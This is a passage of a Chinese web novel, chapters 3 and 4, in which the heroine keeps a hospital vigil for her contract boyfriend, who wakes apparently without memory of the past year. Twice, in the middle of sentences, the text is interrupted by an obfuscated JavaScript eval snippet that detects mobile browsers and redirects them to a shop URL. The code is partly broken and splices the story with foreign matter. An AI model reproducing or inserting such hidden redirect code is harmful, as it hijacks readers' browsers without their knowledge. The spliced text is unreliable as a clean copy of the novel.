《协议恋爱,但大佬失忆了》 3. 003. 宁真还在心里骂骂咧咧,孟嘉然已经挂了电话。 他一口气喝完杯中的水,不知道为什么在宁真的注视下,他有种被看穿的错觉,“我哥住院的消息估计传回南城了,语晴打电话来问问情况。” “她会来南城吗?” 宁真移开视线,看向窗外的夜景,问道。 经过这三个月的缓冲,她其实已经接受自己生活在一本小说的事实。但如果不是她梦到,她怎么也看不出来孟嘉然喜欢宋语晴,这货藏得太深了。 思来想去,他就是没把她当朋友! 她要是知道他心有所属,至于撩拨他?那不是向瞎子抛媚眼! 所以源头还是在孟嘉然这个祸害上。 她不会原谅他的。 “怎么可能。”孟嘉然不假思索地回答,说完后,发现自己的态度有些莫名,于是缓了缓语气,解释,“她怕你误会,不会过来的。” 宁真干巴巴笑了两声。 一个两个,还扯她当理由。 孟嘉然当然不希望有人误会宋语晴,更不希望有人误会他英明神武的哥,压低了声音说:“哥对她从头到尾都没心思,都是爸妈在说,他没有回应过,他只喜欢你,和语晴很少来往。” 宁真差点没绷住笑出声来。 但凡孟显闻之前谈过恋爱,将女朋友带回家,现在孟家人也说不出他喜欢她的话。 没有参照物,他怎么演都是真爱呗。 “其实他们两个人很般配,你不觉得吗?”谁让宁真难受,她就让那人更难受,低着头,故意说出戳孟嘉然心窝子的话。 “……” 孟嘉然一个头两个大。 宋家孟家有联姻的想法,其他人或许不知情,宁真却是知道的。 但这件事的始作俑者是他。 他那会儿无意间听到父母提起,心里跟猫抓似的难受,心情不好,自然要找朋友转移注意力,正好宁真有空,他隔三差五就去找她吃饭,偶然便提起了这件事。 当时他不知道她跟大哥在地下恋啊! 她的反应也很寻常:“那是好事啊,显闻哥年纪不小,是该结婚了。” 想起这一茬,孟嘉然脸上赔着笑:“没没没,你和我哥最般配,其他的都是误会,误会。” 宁真轻哼一声。 还好服务员送餐过来,打断这个插曲。 “真姐,姐,吃吧。”孟嘉然殷勤地将餐具递给她,“一天没吃东西,先喝碗粥垫垫肚子。” 宁真接过,一边说着没胃口,一边风卷残云。 孟嘉然看她吃得香,被勾起胃口,也给自己盛了一碗粥。 “宋家那边准备怎么办。”宁真吃了东西,怨气少了些,好奇问道。 她家虽然不是豪门,但她经常出入孟家,也算耳濡目染,宋家管教严,孟显闻虽然不动声色婉拒了联姻,但不代表这件事就此终止,宋家长辈既然动了心思,恐怕目光会放在其他人家。 “不清楚。” 孟嘉然欲言又止。 “其实……”宁真轻飘飘看他一眼,“孟家也不止一个儿子。” 孟嘉然正在战术性喝水,一听这话被呛到,剧烈咳嗽几声,脸都红了,“你胡说八道什么。” 宁真笑而不语。 装货。 她要不是看完整本小说,还真就被他这孙子骗了。 但话说回来,男主女主怎么样,和她有什么关系!她才懒得多管闲事,并且作为配角,她最讨厌主角了! “你单位那边没关系吧?”孟嘉然转移话题。 宁真大四时在一家背靠电视台的财经传媒实习,由于平日表现优秀,毕业就转正。她工作不忙不闲,普普通通上班族,“我请了一周的假。” 一周! 她的全勤,她的奖金! 宁真都想好了,她非得找孟显闻报销她的损失。 既然是协议恋爱,那肯定得明算账,他要是真男友,那她也就懒得计较那么多了,可他是假的,那她过来就算带薪兼职。 孟显闻勉勉强强还保留一丝人性,在确定协议生效时,他给了她一张副卡,这一年随她花,但她不敢太过分,悄悄问他,额度多少。 他被逗得短促笑了两声,没直接回答,让她自己试试额度上限在哪。 她敢试吗? 她还真敢,第一个月窝窝囊囊花了五万,他没说什么,第二个月大胆了些,翻倍,他还是没说什么,这个月直接飙升到二十万,他还是一个屁也没放。 “那也行。”孟嘉然叹了一声,“不过我估计我哥明天醒来就要出院,他这人不听劝。” “就是说啊。”她敷衍地附和。 有食客陆陆续续离开。 两人不再废话,专心吃饭。点了一桌的东西,全吃完了,吃饱喝足红光满面。 孟嘉然摸摸肚子,“给爸妈打包些送去医院。” 宁真没意见,“行。” … 折返回医院,病房很安静,偶尔传来几声啜泣。 宁真赶忙进入状态,跟在孟嘉然身后进去。孟敬山坐在病床前,给儿子擦手,肖雪珍坐在不远的沙发上,眼眶泛红。 “肖姨。” 宁真打起精神,来到肖雪珍身旁坐下,哽咽着说:“您得保重身体,我和嘉然买了些粥回来,您和伯伯多少吃一点。” 肖雪珍撑着脑袋,一声不吭。 宁真却知道这是默许的意思,她拆开打包盒和餐具,靠着肖雪珍,耐心地一勺一勺喂她。 对肖姨,宁真还是存了几分真心。 整个孟家,对她最好的自然是已经过世的老太太,往下数便是肖雪珍。肖雪珍遗憾没有女儿,她小时候胖嘟嘟的,很招人喜欢,那时候肖雪珍总给她买衣服鞋子。 一起逛街喝下午茶的习惯,延续到了现在。 孟敬山放下热毛巾,回过头看到的便是这一幕,他眼中闪过一丝动容,冷硬的态度早就不知不觉软化。 “伯伯,肖姨。” 宁真看了眼时间,提议,“你们一整天都没休息,要不让嘉然送你们先回酒店,这边我守着,显闻要是醒了,我肯定第一时间通知你们。” 她一万个愿意回酒店睡大觉。 可条件不允许啊,九个月以后孟显闻怎么分手,那是他的事,但她也要防备他往她身上泼脏水,外界怎么看待她不重要,她很在意孟伯伯肖姨的看法。 像这样刷好感的机会太少了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307581|198721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟显闻身体素质好得可怕,她就没见他怎么生过病,孟伯伯和肖姨尽管五十多岁,可看起来比同龄人年轻,身子骨也硬朗,所以“患难见真情”这一出实施起来太难。 机不可失,失不再来。 她必须牢牢把握住今晚。 不止如此,她还要发微博,发ins,发朋友圈,让所有人都知道她是一个多么贴心多么善良多么温柔的女朋友。 “不行。” 孟敬山想都没想一口否决,“你这小身板哪熬得住,别在这里添乱!” “伯伯……”宁真掉下泪来,“我回去也睡不着,会更担心他。” 说完,她给孟嘉然使了个眼色。 他们毕竟当了很多年的朋友,孟嘉然立刻心领神会,按他的意思呢,爸妈不用守,真真也不用守,他来守就行,但当务之急是把爸妈哄回去,便道:“就听真真的吧,哥醒来,应该也更想看到她。” 他顿了顿,再接再厉,“而且,真真照顾哥,也更方便。” 宁真的表情凝固了几秒。 不过很快放下心来,这是专属病房,多的是高级看护,她等他们都走了,躺沙发玩玩手机混时间就行,就算半夜孟显闻醒了,也用不上她帮忙。 孟敬山瞪了小儿子一眼。 哪壶不开提哪壶!当爸爸的,很想忘记那天晚上的情形,他一点儿也不想记得儿子是如何搂宁真,是如何抱她,以及猜测他要是没下来,他们会在书房做什么好事——事后,他没有再踏进书房一步,妻子也是。 “妈,”孟嘉然没有理会爸爸的怒目而视,他来到沙发前,扶起肖雪珍,“我先送你们回去,年轻人能熬夜,明天你和真真再换班也是一样,好不好?” 肖雪珍点了点头。 宁真想送他们到电梯厅,被孟嘉然拦住,她只能关切地目送他们,好一会儿,外面也没了动静后,她回到病床边,居高临下地俯视孟显闻。 他换上了病号服,额头做了简单包扎。 此时此刻呼吸均匀,睡得很香。 你也有今天! 换作其他人住院,她不至于没有同理心,但对方是孟显闻,她只想幸灾乐祸大笑几声,等他醒来一定会很难受,因为他可是足足耽误了一整天的时间,一整天哎! 对于孟显闻这样的人来说,浪费金钱可以忍受,浪费时间忍无可忍。 但他总是浪费她的时间! 过去三个月,他会带她出入一些场合,头几次她不知道他的德行,他打来电话说到楼下了,她马上下楼,东张西望也没看到他的车,就在她准备打电话问他死哪儿去了呢,他的车来了。 一次两次,她烦了,问他,明明没到楼下,为什么要说到了! 他淡淡一笑,不想浪费时间等人。 发现她很愤怒,他又笑,和她商量,他等她也可以,但他的时间很宝贵,以秒计费,她不介意付钱,他便不介意等待。 宁真想象他醒来后面无表情的模样,难掩愉悦。 她脚步轻快地在病房找角度,咔嚓咔嚓拍照,没让孟显闻入镜,只放了一张窗外如钩的月亮,在深夜发了条朋友圈—— 【看你睡得好安稳,猜你梦里是不是有我[月亮]】 4. 004. 这个晚上,难以入眠的人不少。 孟显闻住院的消息的确传回了北城,他几个朋友本来也想赶来南城,但被肖雪珍阻拦,孟家一向行事低调,实在不想引发轩然大波,被人胡乱揣测。 他们人没来,却随时关注南城的情况。 几个人晚上凑在一块儿,常易刷到宁真的朋友圈,不知道该笑还是该无语,评论:【辛苦了】 其他人也保持队伍整齐,一同评论辛苦了。 常易哭笑不得,摇头感慨,“卤水点豆腐,一物降一物,以前打死我也不会相信显闻会喜欢宁真,太搞了。” 可不是。 对宁真,他们不陌生,但三个月前,都只把她当和孟嘉然一样的小辈。要是她和孟嘉然在一起,所有人都不会惊讶,这是再正常不过的事,但对象换成孟显闻,太诡异了。 私底下有人笑话孟显闻找谁不好,找弟弟的青梅。 当然,孟嘉然和宁真的关系清清白白,没人会造谣,但这也不能掩盖孟显闻老牛吃嫩草的事实。 “这倒是。”有人附和,却也点到即止,委婉道,“我还以为孟家会和宋家……” 常易摆摆手,“更不可能。” 他和孟显闻十几年的交情,不至于连他对宋语晴避之不及的态度都看不出来。 其实现在回忆,一切有迹可循。孟显闻对宋语晴,正经得不能再正经,由于两家的关系,他会关照她,但难免端着长辈对晚辈的态度,温和,却有距离感。 但他对宁真…… 印象最深的一次,应该是半年前,宁真和上司出席一个聚会,恰好那天他和孟显闻也在,她是新人,老实规矩地跟在上司后面,大概是口渴了,偷偷去角落拿酒喝。 她刚拿了杯,孟显闻过去直接拦住。 那天聚会散了后,更是让司机开车送她回家。 如果是宋语晴,孟显闻一定会征询意见,但对宁真他似乎不会,显得有几分强势。 … 南城,酒店。 肖雪珍和孟敬山洗漱过后,躺在床上也睡不着,夫妻多年,说说心里话,“你说奇不奇怪,显闻小的时候生病我没怎么担心,他现在快三十了,磕一下碰一下我都不是滋味。” 孟敬山靠坐着,翻翻手机。 他也翻到了宁真的这条朋友圈,手指一顿,若无其事地说:“他也到了该成家的年纪。” “什么意思?”肖雪珍微愣,很快反应过来,失笑,“你也觉得真真其实还不错吧?” “我没觉得。” “哎。”肖雪珍轻声叹气,“本来我也不同意,但今天看显闻躺在病床上,我就琢磨着,他觉得开心就行,别的我们管不了那么多。” “没说不让他开心。” 孟敬山捏捏鼻梁,吐露心声,“他这事办得不地道,不像话,他真要谈了,谁拦得住?但是不是该跟我们说说,行,不说,不说也行,他不要脸我还要脸,那是老宅,他爷爷奶奶看着呢,他就敢在家里——算了,丢人现眼的东西,不说了!” 肖雪珍也尴尬,“什么叫爷爷奶奶看着,你这话瘆得慌!” “我还没说家里供着观音呢。”孟敬山冷笑。 “年轻人的事你管得宽!”肖雪珍话锋一转,“以后你对真真客气点,一天天的给她脸色看,你也不嫌丢人,她比嘉然年纪还小!” “我那叫给她脸色看?” 肖雪珍面色稍稍缓和。 她了解丈夫的性子,真要不喜欢宁真,别说是和儿子恋爱,就是结婚了也只会爱答不理。与其说是对宁真有意见,不如说他尴尬得不知道该如何是好。 对他们夫妻而言,宁真相当于半个女儿。 那天晚上,要多窘迫就有多窘迫。 窘迫过后,便是恼羞成怒。 “睡了睡了。”孟敬山不想再回忆这茬,拉起被子往下一躺,“你也赶紧睡,明天一早去医院。” 肖雪珍白了他一眼。 她给宁真发了条消息:【真真,你别熬夜,早点睡】 病房。 宁真收到这条消息的下一秒,门口传来轻微的敲门声,她收起手机走过去开门。 孟嘉然站在门口。 “你怎么来了?”她问。 “我不放心。”孟嘉然侧身走了进来,“他没醒吧?” 宁真嘘了声,“刚睁开眼睛过,又睡下了。” “怎么不给我打电话?” “不是大事。”宁真不愿意折腾来折腾去,她发完朋友圈没多久,孟显闻便醒了,他好像还是有些不舒服,喝了口水又躺下睡了,“你们过来,肯定会吵醒他。” 孟嘉然皱着眉头:“也是。” 他轻手轻脚来到病床边,担忧地看着哥哥,看了好半天,宁真都怀疑他会成为一座望兄石。 豪门争斗多的新闻屡见不鲜,但孟家却很和睦。 孟显闻护着孟嘉然,否则在她的梦里,他也不会大发雷霆,悄无声息打发她。这次要不是孟敬山下来引发巨大动静,宁真相信,依然会像原著中那般发展。 他那天顺势而为,为的不是她,而是孟嘉然。 原著中是这样描述的:他不声张,不愿意他生性单纯的弟弟对人性,对友情失望。在孟嘉然心里,宁真是他儿时玩伴,是他多年好友,一旦他知道她满腔算计,他会非常难受。 宁真虽然不以为然,但她知道孟显闻就是这样想的。 同样,孟嘉然对孟显闻也有很深的感情,这份血浓于水的亲情,让他明知道喜欢的女人暗恋哥哥,他也做不到嫉妒,怨恨。 “你坐下休息吧。” 宁真抱着毯子窝在沙发上,无奈道。 孟嘉然回过神来,拖着疲倦僵硬的身躯坐在单人沙发上,他往后一靠,盯着天花板,冷不丁开口说:“真真,我想好了,这次我会去公司上班。” “……” 宁真满头问号,这也就是他一动不动站在那儿十多分钟考虑出来的结果? 她平淡地哦了声,“那很好啊。” “你也觉得我很任性吧?” 宁真摇摇头。 任性?谈不上,但他确实是个祸害。 她想破脑袋也想不出个所以然来,比如他喜欢宋语晴,有什么好隐瞒的?他还瞒得死死的,又比如,就算宋语晴把孟显闻当白月光看又怎样,喜欢就去追呀。 说来说去,还是人太闷骚了。 “其实你去还是不去,影响都不大。”她实话实说,“你去了,说不定还是拖后腿。” 像孟嘉然,恋爱脑一个,纵观全文,他也没在事业上做出什么成绩来,但也没关系,他一出生什么都有了,他这辈子受过最大的苦就是暗恋。 可他还暗恋成真了! 在经历过一系列事件后,宋语晴终于及时醒悟过来,原来她对孟显闻不是男女之情,而是一种怀念,一种憧憬,她真正喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307582|198721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一直默默陪伴在她身边的孟嘉然。 两人拉拉扯扯三十万字后,水到渠成,相亲相爱。 孟嘉然闻言,缓缓看向她,“真姐,你有异性没人性。”说着,他又笑起来,恢复以往的吊儿郎当,欠欠地打趣她,“是不是在你心里,我哥特别厉害?” “用得着和他比?”宁真嗤笑,“和我比,你都菜得要命。” 孟嘉然:“……” 沉默半晌,他闷闷地笑出声来,看向她,认真道:“还是这样和你说话自在。” 他很不适应关系的转变。 这三个月来,每次见了宁真不自在又古怪。 宁真似是想起不愉快的事,表情冷淡了许多,她偏过头看向窗外。有很长一段时间,她都认定自己会和孟嘉然在一起,也为此做出各种努力。 她的确为那天晚上的行为后悔。 但后悔,还是不后悔,好像都没差。 那天她要是不后悔,按照原著进行,她会被孟显闻解决,滚蛋。 那天她后悔了,什么都没做,结果呢,还是被孟显闻这个杀千刀的逮个正着,梦碎,滚蛋。 结果都是滚蛋。 区别在于,前者是没钱的滚,后者是有钱的滚。 这让配角如何不郁闷…… 她真的好讨厌孟显闻啊啊啊! 宁真想着想着,头一歪,半躺在沙发上睡了。睡觉前还迷迷糊糊琢磨,该怎么在这九个月薅孟显闻的羊毛,将他女朋友的名头发挥最大用处。 “真真,醒醒。” 清晨,天没亮,宁真还在做着成为富婆的美梦,突然被人吵醒,她翻了个身,这人直接拍她,烦人,没完没了,她惺忪地睁开眼睛,对上孟嘉然的脸,“我哥醒了。” 宁真思绪回笼。 她猛地坐了起来,不顾腰酸背痛,看向病床,上面没人,被子被人推到一边,“他人呢?” 孟嘉然指指洗手间,里面传来阵阵水声,“他醒来就去了洗手间,估计洗澡。” 宁真一愣,转念一想,果然如此,很符合孟显闻的作风。 他这人规矩多,除了三个月前他第一次来她的住处,之后再来,他都会特意发消息提醒她,让钟点工阿姨收拾,仿佛她的房子是垃圾堆。 不过,她这人别的本领没有,顺杆往上爬溜溜的,前不久提出,反正他房子那么多,不住也浪费,送她一套地段好的大平层也算为他减轻负担了。 有阿姨,有司机的那种! 她理直气壮,拜托,她都是孟显闻的女朋友了,每天挤地铁打滴滴像话?住九十平的房子像话? 结果他饶有兴致反问她,天还没黑,这就做上梦了? “喔。” 宁真慢悠悠起身,理了理头发,语气担忧:“他现在洗澡没关系吗?” 孟嘉然耸肩,“那你进去把他捞出来。” 宁真:“……” 她抢在孟嘉然前头给肖雪珍还有孟敬山发了喜报,忙完后,洗手间里的水声收住,孟显闻带着一身清冽气息从里出来,他还有分寸,没有洗头。 他似乎才注意到病房里的两个门神。 走过来时,轻描淡写地说道:“真真怎么来了?” 没等她回答,他蹙眉看向孟嘉然,略作停顿,眼里闪过一丝疑惑,“嘉然,你什么时候回国的?” 孟嘉然和宁真面面相觑。 他回国?他一年前就回国了啊……